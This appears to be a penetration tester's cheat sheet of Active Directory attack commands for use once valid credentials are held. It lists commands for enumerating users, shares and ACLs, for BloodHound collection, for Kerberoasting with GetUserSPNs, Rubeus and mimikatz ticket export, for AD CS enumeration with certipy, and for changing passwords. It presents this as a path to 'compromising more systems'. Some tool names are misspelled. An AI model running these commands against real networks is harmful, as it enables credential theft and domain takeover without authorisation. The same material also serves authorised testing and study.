Valid Credentials

Get all the users

GetADUsers

GetADUsers.py -all -dc-ip <dc-ip> <domain>/<username>

cme

cme smb <ip> -u <user> -p <password> --users

cme smb <ip> -u <user> -p <password> --users | awk '{print $5}' |  grep -v '\[' |  grep -v '-Username-'

rpcclient

rpcclient -U <user> 
rpcclient > enumdomusers

Windows

Get-LocalUser

windpapsearch

python3 windapsearch.py --dc-ip DCIP -u user -p password --da

Enumerate SMB Shares

cme

cme smb <ip> -u <user> -p <password> --shares

BloodHound

Python

bloodhound-python -d <domain> -u <user> -p <password> -ns <dc-ip> -c all

RustHound

./rusthound -d <domain> -u '<user>@<domain>' -p <password> -o <outfile> -z

Powershell Module

Import-Module sharphound.ps1

Invoke-Blodhound -collectionmethod all -domain <domain>

SharpHound

sharphound.exe -c all -d <domain>

PowerView

Powerview

Get Domain Information

Get-NetDomain

Get User List

Get-NetUser

Get a specific User

Get-NetUser "user"

Enumerate Password Change && Last Login

Get-NetUser | select cn,pwdlastset,lastlogon

Get Groups

Get-NetGroups

Get a specific Group

Get-NetGroups "Domain Admins"

List Domain Shares

Find-DomainShare

Get Computers

Get-NetComputer | select operatingsystem,dnshostname

Check if we are ADMIN on other Computers

Find-LocalAdminAcess

Check for Logged Users

Get-NetSession -ComputerName files04 -Verbose
.\PsLoggedon.exe

Enumerate ACL

Get-ObjectAcl -Identity "user"

Kerberoasting

Get Kerberoastable users

PowerView

Get-DomainUser -SPN -Properties SamAccountName, ServicePrincipalName-d 

BloodHound

MATCH (u:User {hasspn:true}) RETURN u

MATCH (u:User {hasspn:true}), (c:Computer), p=shortestPath((u)-[*1..]->(c)) RETURN p

Get Hash

GetUserSPNs.py

GetUserSPNs.py -request -dc-ip <dc_ip> <domain>/<user>:<password>

PowerView

Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\tgs.csv -NoTypeInformation

Rubeus

\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap

mimikatz

mimikatz # base64 /out:true
mimikatz # kerberos::list /export

Hash Cracking

ADCS Enumeration

certipy

certipy-ad find -username 'user' -password 'password' -dc-ip <IP>

netexec

netexec ldap domain.lab -u username -p password -M adcs

Active Directory Certificate Services (AD CS)

Exploit

If we found known vulnerabilities you should exploit them for compromising more systems:

Known Vulnerabilities

Connect to computers

Lateral Move

WinPeas

Upload WinPeas for more in depth enumeration

LDAP

ldapsearch -h <domain> -D <user>@<domain> -w '<password hash>'
-b "dc=support,dc=htb" "*"

Change User Password

If we got "STATUS_PASSWORD_MUST_CHANGE" for some users, we can update a current password to a new one.

smbpasswd -r <ip> -U <username>